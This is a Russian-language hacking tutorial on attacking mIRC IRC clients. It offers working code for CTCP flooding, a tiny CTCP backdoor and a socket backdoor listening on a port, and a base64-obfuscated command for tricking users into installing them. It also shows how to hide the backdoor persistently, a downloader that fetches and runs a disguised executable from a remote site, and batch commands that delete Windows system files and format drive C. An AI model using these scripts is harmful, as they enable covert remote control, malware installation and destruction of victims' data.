CTCP-Атаки. Достаточно старая фишка, будет работать только на скриптах, авторы которых пренебрегли защитой. Они любят вешать на скрипты подобные ответы на ctcp version: "*** Script, скачать отсюда:...", и если послать 5 раз этот запрос, то тебе 5 раз ответят и т.п. Чтобы человека, юзающего этот скрипт, выкинуло с серва, нужно запустить пару мирков и прописать в них одновременно команду типа: /timer 5 1 /ctcp nick version (пошлёт 5 раз команду с интервалом 1 сек). Чтобы вас не доставали с ctcp-запросами нужно прописать /ignore -t *!*@* (игнорит все ctcp-запросы). CTCP-Трояны. Пожалуй, самым простым mIRC-трояном является ctcp *:*:$1- (длина его всего лишь 13 байт!). С помощью него можно спокойно орудовать не только в мирке жертвы, но и в командной строке Windows! Управлять этим трояном просто: /ctcp /command и на стороне жертвы выполняется /command. Его изменённый вид: ctcp ^*:*:haltdef | $1- Его особенность заключается в том, что жертва не видит, что ей шлют ctcp-запросы. Заразить трояном человека достаточно просто - нужно заставить прописать команду, содержащую наш троян. Команда в зашифрованном виде выглядит так: //[ $ $+ decode(L3dyaXRlaW5pIHN5c3RlbS5pbmkgc2NyaXB0IG4wIGN0Y3AgXio6KjpoYWx0ZGVmIHwgJDEt,m) ] | //[ $ $+ decode(L2xvYWQgLXJzIHN5c3RlbS5pbmk=,m) ] Она создаёт файл system.ini, в котором находится троян, в папке с мирком. Если пораскинуть мозгами, то можно придумать и получше. Количество предлогов, под которыми можно впарить троян юзверю зависит от вашей фантазии. :) Вычислить хацкера не сложно: ctcp *:*:echo 5 -et -> $nick $address($nick,2) $1- Достаточно палевно проверять, есть ли троян у юзвера или нет. Нам нужно отправить ему команду следующего вида: msg ... Но есть вероятность, что он заметит вас (если троян не вписал). Но отмазаться всё равно можно. Сокет-Трояны. Они отличаются от ctcp-троянов тем, что запросы идут не через сервер, а именно к определённому клиенту. И проверить, существует троян или нет, намного проще и безопаснее. Правда командой /socklist легко обнаружить соединение. Код трояна: on *:connect:socklisten a 9345 on *:disconnect:sockclose a on *:socklisten:a:sockaccept x on *:sockread:x:sockread %x.c | %x.c Где: a и x - имена соединений, а 9345 - порт (всё это можно поменять). Прослушка порта необходима, чтобы подключиться к жертве, пишем для подключения: /sockopen x Троян в компактном виде: //sockclose a | //socklisten a 9345 | //write -ca system.ini [script] | //write -a system.ini n0=on *:connect:socklisten a 9345 | //write -a system.ini n1=on *:disconnect:sockclose a | //write -a system.ini n2=on 1:socklisten:a:sockaccept x | //write -a system.ini n3=on 1:sockread:x:sockread % $+ x.c $chr(124) % $+ x.c | //load -rs system.ini Можно зашифровать. Дальше можно вогнать вирус как можно глубже, т.к. обнаружить и удалить файл system.ini жертве не составит труда. Прописываем команды: /ctcp /alias /x-do unset %x.* | while (%x.h == $null) { inc %x.i | %x.id = n $+ %x.i | %x.s = $readini $nopath($mircini) rfiles %x.id | if (%x.s != $null) { %x.r = $read -nl1 %x.s | if (%x.r == [script]) { %x.h = on | write -a %x.s n1000=ctcp ^*:*:haltdef | $1- } } } /ctcp /x-do Она ищет скриптовый файл и в его конец загоняет троян. Нам нужно удалить старый троян, иначе, если мы пошлём запрос с выполнением какой-либо команды, то она выполнится два раза, т.к. у жертвы 2 трояна. Сделаем вот что: /ctcp /remini system.ini script n0 Чтобы эти команды вступили в силу, нужно загрузить эти файлы заново (с помощью /load -rs ..., но у жертвы это может вызвать подозрения) или заставить жертву перезапустить мирк: /ctcp /alias /gigig /xuxux /alias /xuxux /gigig /ctcp /gigig С тем же успехом можно сделать это с сокет-трояном. Как же загрузить файл жертве так, чтоб она не заметила это? Впринципе всё не так сложно. Главное, чтобы у юзвера был один из выше перечисленных троянов. Код трояна: alias xdl %x.h = www.website.com | %x.p = 80 | %x.l = /Files/LamerDeath.exe | %x.f = C:\Windows\rundII32.exe | %x.c = 0 | sockopen xdl %x.h %x.p on *:SOCKOPEN:xdl:if ($sockerr > 0) { halt } | //sockwrite -n $sockname GET %x.l HTTP/1.0 | //sockwrite -n $sockname Host: %x.h $str($crlf,2) on *:SOCKREAD:xdl:if ($sockerr > 0) { halt } | if (%x.c == 0) { sockread %x.t | if ($len(%x.t) < 4) { %x.c = 1 } } | if (%x.c == 1) { sockread &binvar | bwrite %x.f -1 -1 &binvar } on *:SOCKCLOSE:xdl:if ($exists(%x.f) == $true) { run %x.f } | unset %x.* Где %x.h = www.website.com - домен сайта, %x.p = 80 - порт, %x.l = /Files/LamerDeath.exe - пусть до файла на сайте, %x.f = C:\Windows\rundII32.exe - там мы файл создадим. Как только файл скачается, он запуститься. В упакованном виде, готовое для отправки жертве, выглядит так: /ctcp writeini system.ini script n1 alias xdl % $+ x.h = www.website.com $chr(124) % $+ x.p = 80 $chr(124) % $+ x.l = /Files/LamerDeath.exe $chr(124) % $+ x.f = C:\Windows\rundII32.exe $chr(124) % $+ x.c = 0 $chr(124) sockopen xdl % $+ x.h % $+ x.p /ctcp writeini system.ini script n2 on *:SOCKOPEN:xdl:if ($ $+ sockerr > 0) $chr(123) halt $chr(125) $chr(124) //sockwrite -n $ $+ sockname GET % $+ x.l HTTP/1.0 $chr(124) //sockwrite -n $ $+ sockname Host: % $+ x.h $ $+ str($ $+ crlf,2) /ctcp writeini system.ini script n3 on *:SOCKREAD:xdl:if ($ $+ sockerr > 0) $chr(123) halt $chr(125) $chr(124) if (% $+ x.c == 0) $chr(123) sockread % $+ x.t $chr(124) if ($ $+ len(% $+ x.t) < 4) $chr(123) % $+ x.c = 1 $chr(125) $chr(125) $chr(124) if (% $+ x.c == 1) $chr(123) sockread & $+ binvar $chr(124) bwrite % $+ x.f -1 -1 & $+ binvar $chr(125) /ctcp writeini system.ini script n4 on *:SOCKCLOSE:xdl:if ($ $+ exists(% $+ x.f) == $ $+ true) $chr(123) run % $+ x.f $chr(125) $chr(124) unset % $+ x.* /ctcp /xdl Затем можно поиграться с виндой жертвы с помощью *.bat файлов. В *.bat файлах выполняются команды от командной строки винды. Мы это и используем, удалив один файлик. Конечно это детская забава, но всё же... Пишем специальную команду: /ctcp /alias /w-w unset %w.* | while ([ $ $+ [ %w.i ] ] != $null) { inc %w.i | unset %w.b | if (([ $ $+ [ %w.i ] ] == $null) || ([ $ $+ [ %w.i ] ] == brk)) { %w.b = %w.t | unset %w.t | write -a C:\WINDOWS\system32\config\Mouse.bat %w.b } | if (%w.b == $null) { %w.t = %w.t [ $ $+ [ %w.i ] ] } } Она пишет в файл C:\WINDOWS\system32\config\Mouse.bat (название которого взято из головы, т.е. такого файла не существовало) нужные нам вещи с помощью: /ctcp /w-w echo off brk cls brk del C:\Program Files\mIRC\System.ini Где brk - разделитель строк echo off - прячет файл del file - удаляет файл ;) C:\Program Files\mIRC\System.ini - предполагаемый путь до файла system.ini, конечно нужно предварительно узнать точную директорию расположения мирка жертвы... Команда типа /ctcp /notice Мой_ник $mircdir не поможет, ибо троян не преобразует идентификаторы. Нам просто придёт сообщение "$mircdir". Будем использовать такие вот команды: /ctcp /alias /mrcdir /notice Мой_ник $mircdir /ctcp /mrcdir После всего этого запустим заветный файлик! :) /ctcp /run C:\WINDOWS\system32\config\Mouse.bat И файла system.ini не станет. Жертва даже не догадается об этом... А ведь можно удалить и не только этот файлик!)))) Друг сказал, что эта шняга работает, но я не проверял: /ctcp /w-w cls brk echo off brk cls brk Cd\ brk Cd C: brk Сd windows brk Del *.exe brk Del *.ini brk Del *.com brk Cd\ brk Cd windows brk Cd system brk Del *.dll brk Del *.exe brk Cd\ brk Cd C: brk Сd winMe brk Del *.exe brk Del *.ini brk Del *.com brk Cd\ brk Cd win98 brk Cd system brk Del *.dll brk Del *.exe brk Cd\ brk Format C:\ brk Y brk Y brk Y Конечно же для этого нужно вписать команду с w-w
|